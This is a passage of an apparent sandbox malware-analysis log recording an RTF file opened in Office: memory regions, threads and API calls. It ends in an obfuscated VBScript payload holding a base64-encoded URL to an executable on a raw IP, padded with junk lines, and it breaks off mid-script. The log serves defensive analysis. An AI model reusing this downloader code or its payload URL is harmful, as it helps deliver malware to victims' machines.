(x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\RECOVR32.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\recovr32.cnv") Region: id = 3092 start_va = 0x65bd0000 end_va = 0x65beffff monitored = 0 entry_point = 0x65bdc7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll") Region: id = 3093 start_va = 0x63990000 end_va = 0x639c1fff monitored = 0 entry_point = 0x639ac742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 3094 start_va = 0x65c60000 end_va = 0x65c7ffff monitored = 0 entry_point = 0x65c6c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll") Region: id = 3095 start_va = 0x63990000 end_va = 0x639cefff monitored = 0 entry_point = 0x639b4c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 3096 start_va = 0x65bd0000 end_va = 0x65beffff monitored = 0 entry_point = 0x65bdc7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll") Region: id = 3097 start_va = 0x63940000 end_va = 0x639cbfff monitored = 0 entry_point = 0x63945382 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\SysWOW64\\UIAutomationCore.dll" (normalized: "c:\\windows\\syswow64\\uiautomationcore.dll") Region: id = 3098 start_va = 0xf90000 end_va = 0xfa0fff monitored = 0 entry_point = 0xf9d1f0 region_type = mapped_file name = "splwow64.exe" filename = "\\Windows\\splwow64.exe" (normalized: "c:\\windows\\splwow64.exe") Region: id = 3187 start_va = 0xb1a0000 end_va = 0xb32cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 3188 start_va = 0xb1a0000 end_va = 0xb32cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 3189 start_va = 0x9980000 end_va = 0x9a39fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 3190 start_va = 0x9980000 end_va = 0x9a39fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 3202 start_va = 0x8fd0000 end_va = 0x900ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 3203 start_va = 0xd100000 end_va = 0xd1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d100000" filename = "" Region: id = 3204 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3224 start_va = 0xd200000 end_va = 0xd3fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d200000" filename = "" Region: id = 3225 start_va = 0xd400000 end_va = 0xd7fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d400000" filename = "" Region: id = 3227 start_va = 0xd800000 end_va = 0xdbfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000d800000" filename = "" Region: id = 3228 start_va = 0xdc00000 end_va = 0xdffffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dc00000" filename = "" Region: id = 3229 start_va = 0xb1a0000 end_va = 0xb2abfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "~wrl0001.tmpcd3f6ee0375e1e7a8c8d4287dae4ca1803d72ae427d8ecc93a32.rtf" filename = "\\Users\\kEecfMwgj\\Desktop\\~WRL0001.tmpcd3f6ee0375e1e7a8c8d4287dae4ca1803d72ae427d8ecc93a32.rtf" (normalized: "c:\\users\\keecfmwgj\\desktop\\~wrl0001.tmpcd3f6ee0375e1e7a8c8d4287dae4ca1803d72ae427d8ecc93a32.rtf") Region: id = 3230 start_va = 0xdc00000 end_va = 0xdffffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dc00000" filename = "" Region: id = 3231 start_va = 0x9980000 end_va = 0x9a44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009980000" filename = "" Region: id = 3232 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3233 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3234 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3235 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3237 start_va = 0x752c0000 end_va = 0x752c8fff monitored = 0 entry_point = 0x752c15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Thread: id = 1 os_tid = 0xde4 Thread: id = 2 os_tid = 0xdc4 Thread: id = 3 os_tid = 0xdc0 Thread: id = 4 os_tid = 0xdbc Thread: id = 5 os_tid = 0xdb8 Thread: id = 6 os_tid = 0xdb4 Thread: id = 7 os_tid = 0xdb0 Thread: id = 8 os_tid = 0xdac Thread: id = 9 os_tid = 0xda4 Thread: id = 10 os_tid = 0xda0 Thread: id = 11 os_tid = 0xd9c Thread: id = 12 os_tid = 0xd98 Thread: id = 13 os_tid = 0xd94 Thread: id = 14 os_tid = 0xd44 [0065.421] malloc (_Size=0x80) returned 0x5be9c8 [0065.421] __dllonexit () returned 0x668a7164 [0065.421] __dllonexit () returned 0x668a717e [0065.421] __dllonexit () returned 0x668a7198 [0065.421] GetUserDefaultLCID () returned 0x409 [0065.421] GetVersion () returned 0x1db10106 [0065.422] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x14b7b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14ae68 | out: ppv=0x14ae68*=0x846e018) returned 0x0 [0065.423] ??2@YAPAXI@Z () returned 0x846e018 [0065.424] VBScriptEngine5:IUnknown:AddRef (This=0x846e018) returned 0x2 [0065.424] VBScriptEngine5:IUnknown:Release (This=0x846e018) returned 0x1 [0065.424] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e018, riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba2c | out: ppvObject=0x14ba2c*=0x846e018) returned 0x0 [0065.424] VBScriptEngine5:IUnknown:Release (This=0x846e018) returned 0x1 [0065.424] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e018, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x0) returned 0x80004002 [0065.424] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e018, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14be04 | out: ppvObject=0x14be04*=0x11a99c0) returned 0x0 [0065.424] ??2@YAPAXI@Z () returned 0x11a99c0 [0065.425] GetUserDefaultLCID () returned 0x409 [0065.425] GetACP () returned 0x4e4 [0065.425] VBScriptEngine5:IUnknown:Release (This=0x846e018) returned 0x0 [0065.425] ??3@YAXPAX@Z () returned 0x11a0001 [0065.425] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x14be28 | out: ppvObject=0x14be28*=0x11a99c0) returned 0x0 [0065.425] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0065.425] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0065.425] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0065.425] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d178 | out: ppvObject=0x846d178*=0x11a99c4) returned 0x0 [0065.425] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0065.426] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4d0) returned 0x0 [0065.426] GetCurrentThreadId () returned 0xd44 [0065.426] ??2@YAPAXI@Z () returned 0x11266a8 [0065.426] GetCurrentThreadId () returned 0xd44 [0065.426] ??2@YAPAXI@Z () returned 0x838c5f8 [0065.426] ??2@YAPAXI@Z () returned 0x83fd458 [0065.426] ??2@YAPAXI@Z () returned 0x11c54b0 [0065.426] ??2@YAPAXI@Z () returned 0x83fd480 [0065.426] GetCurrentThreadId () returned 0xd44 [0065.426] ??2@YAPAXI@Z () returned 0x1104a10 [0065.426] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4d0, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x11c5504 | out: ppvObject=0x11c5504*=0x0) returned 0x80004002 [0065.426] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4d0) returned 0x2 [0065.426] IActiveScriptSite:GetLCID (in: This=0x83fd4d0, plcid=0x14bdf0 | out: plcid=0x14bdf0*=0x800) returned 0x0 [0065.426] GetSystemDefaultLCID () returned 0x409 [0065.427] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x14bdc0, cchData=6 | out: lpLCData="1252") returned 5 [0065.427] IsValidCodePage (CodePage=0x4e4) returned 1 [0065.427] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4d0, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0065.427] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4d0, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd4dc) returned 0x0 [0065.427] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd4dc, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0065.427] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x763d0000 [0065.428] GetProcAddress (hModule=0x763d0000, lpProcName="CoCreateInstance") returned 0x76419d0b [0065.428] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6ab1808) returned 0x0 [0065.431] IUnknown:AddRef (This=0x6ab1808) returned 0x2 [0065.431] GetCurrentProcessId () returned 0xd40 [0065.431] GetCurrentThreadId () returned 0xd44 [0065.431] GetTickCount () returned 0xbb7e27 [0065.432] ISystemDebugEventFire:BeginSession (This=0x6ab1808, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12287527") returned 0x0 [0065.432] GetCurrentThreadId () returned 0xd44 [0065.432] realloc (_Block=0x0, _Size=0xc8) returned 0x844b490 [0065.432] ??2@YAPAXI@Z () returned 0x86a0ad0 [0065.432] malloc (_Size=0x804) returned 0x83d5e70 [0065.433] ??2@YAPAXI@Z () returned 0x8403970 [0065.433] malloc (_Size=0x400) returned 0x1186548 [0065.433] malloc (_Size=0x104) returned 0x8460768 [0065.433] malloc (_Size=0x1004) returned 0x11c6a50 [0065.433] malloc (_Size=0x204) returned 0x1186950 [0065.434] malloc (_Size=0x404) returned 0x11c7a60 [0065.434] malloc (_Size=0x804) returned 0x83d6680 [0065.435] malloc (_Size=0x1004) returned 0x83d08e0 [0065.438] malloc (_Size=0x2004) returned 0x87e3d78 [0065.440] malloc (_Size=0x4004) returned 0x846edf8 [0065.441] malloc (_Size=0x4004) returned 0x8472e08 [0065.441] malloc (_Size=0x4004) returned 0x8476e18 [0065.443] realloc (_Block=0x1186548, _Size=0x800) returned 0x83d18f0 [0065.443] malloc (_Size=0x4004) returned 0x86bff68 [0065.444] malloc (_Size=0x4004) returned 0x86c3f78 [0065.447] malloc (_Size=0x2004) returned 0x83d9bb0 [0065.449] malloc (_Size=0x4004) returned 0x86c7f88 [0065.457] malloc (_Size=0x4004) returned 0x86cbf98 [0065.458] realloc (_Block=0x83d18f0, _Size=0x1000) returned 0x118e1c0 [0065.459] ??3@YAXPAX@Z () returned 0x1 [0065.459] malloc (_Size=0x320) returned 0x1186548 [0065.463] realloc (_Block=0x1186548, _Size=0x4b0) returned 0x83dbbc0 [0065.463] realloc (_Block=0x83dbbc0, _Size=0x708) returned 0x1198748 [0065.463] realloc (_Block=0x1198748, _Size=0xa88) returned 0x118f1c8 [0065.465] realloc (_Block=0x118f1c8, _Size=0xfc8) returned 0x118f1c8 [0065.465] realloc (_Block=0x118f1c8, _Size=0x17a8) returned 0x118f1c8 [0065.465] realloc (_Block=0x118f1c8, _Size=0x2378) returned 0x118f1c8 [0065.465] realloc (_Block=0x118f1c8, _Size=0x3530) returned 0x847ae28 [0065.471] ??2@YAPAXI@Z () returned 0x1129220 [0065.471] free (_Block=0x86d3fb8) [0065.471] free (_Block=0x86cbf98) [0065.471] free (_Block=0x83d9bb0) [0065.471] free (_Block=0x11c6a50) [0065.471] free (_Block=0x83d5e70) [0065.471] ??3@YAXPAX@Z () returned 0x560001 [0065.471] free (_Block=0x118e1c0) [0065.471] free (_Block=0x847ae28) [0065.471] free (_Block=0x86dbfd8) [0065.471] free (_Block=0x86d7fc8) [0065.471] free (_Block=0x86cffa8) [0065.471] free (_Block=0x86c7f88) [0065.471] free (_Block=0x86c3f78) [0065.471] free (_Block=0x86bff68) [0065.471] free (_Block=0x8476e18) [0065.471] free (_Block=0x8472e08) [0065.471] free (_Block=0x846edf8) [0065.471] free (_Block=0x87e3d78) [0065.471] free (_Block=0x83d08e0) [0065.471] free (_Block=0x83d6680) [0065.471] free (_Block=0x11c7a60) [0065.471] free (_Block=0x1186950) [0065.471] free (_Block=0x8460768) [0065.472] ??2@YAPAXI@Z () returned 0x86a0ad0 [0065.472] ??2@YAPAXI@Z () returned 0x838c5b8 [0065.472] malloc (_Size=0xc) returned 0x1112bc0 [0065.472] free (_Block=0x844b490) [0065.472] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0065.472] GetUserDefaultLCID () returned 0x409 [0065.472] GetACP () returned 0x4e4 [0065.472] ??3@YAXPAX@Z () returned 0x160001 [0065.472] ISystemDebugEventFire:EndSession (This=0x6ab1808) returned 0x0 [0065.472] IUnknown:Release (This=0x6ab1808) returned 0x1 [0065.473] ??3@YAXPAX@Z () returned 0xc00001 [0065.473] ??3@YAXPAX@Z () returned 0x1 [0065.473] VBScriptEngine5:IUnknown:Release (This=0x83fd4dc) returned 0x2 [0065.473] IUnknown:Release (This=0x6ab1808) returned 0x0 [0065.473] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4d0, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0065.473] VBScriptEngine5:IUnknown:Release (This=0x83fd4d0) returned 0x1 [0065.473] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0065.479] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0065.483] ??3@YAXPAX@Z () returned 0x2e0001 [0065.483] ??3@YAXPAX@Z () returned 0x560001 [0065.483] free (_Block=0x1112bc0) [0065.483] ??3@YAXPAX@Z () returned 0x4e0001 [0065.483] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0065.483] ??3@YAXPAX@Z () returned 0x840001 [0065.571] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14bdf8 | out: ppv=0x14bdf8*=0x846e018) returned 0x0 [0065.571] ??2@YAPAXI@Z () returned 0x846e018 [0065.571] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e018, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x0) returned 0x80004002 [0065.571] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e018, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14be04 | out: ppvObject=0x14be04*=0x11a99c0) returned 0x0 [0065.572] ??2@YAPAXI@Z () returned 0x11a99c0 [0065.572] GetUserDefaultLCID () returned 0x409 [0065.572] GetACP () returned 0x4e4 [0065.572] VBScriptEngine5:IUnknown:Release (This=0x846e018) returned 0x0 [0065.572] ??3@YAXPAX@Z () returned 0x11a0001 [0065.572] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x14be28 | out: ppvObject=0x14be28*=0x11a99c0) returned 0x0 [0065.572] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0065.572] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0065.572] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0065.572] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d178 | out: ppvObject=0x846d178*=0x11a99c4) returned 0x0 [0065.572] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0065.572] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4d0) returned 0x0 [0065.572] GetCurrentThreadId () returned 0xd44 [0065.573] ??2@YAPAXI@Z () returned 0x1197048 [0065.573] ??2@YAPAXI@Z () returned 0x83fd480 [0065.573] GetCurrentThreadId () returned 0xd44 [0065.573] ??2@YAPAXI@Z () returned 0x1104a10 [0065.573] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4d0, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x119709c | out: ppvObject=0x119709c*=0x0) returned 0x80004002 [0065.573] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4d0) returned 0x2 [0065.573] IActiveScriptSite:GetLCID (in: This=0x83fd4d0, plcid=0x14bdf0 | out: plcid=0x14bdf0*=0x800) returned 0x0 [0065.573] GetSystemDefaultLCID () returned 0x409 [0065.573] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x14bdc0, cchData=6 | out: lpLCData="1252") returned 5 [0065.573] IsValidCodePage (CodePage=0x4e4) returned 1 [0065.573] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4d0, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0065.573] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4d0, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd4dc) returned 0x0 [0065.573] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd4dc, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0065.573] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6ab1808) returned 0x0 [0065.574] IUnknown:AddRef (This=0x6ab1808) returned 0x2 [0065.574] GetCurrentProcessId () returned 0xd40 [0065.574] GetCurrentThreadId () returned 0xd44 [0065.574] GetTickCount () returned 0xbb7eb4 [0065.574] ISystemDebugEventFire:BeginSession (This=0x6ab1808, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12287668") returned 0x0 [0065.575] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 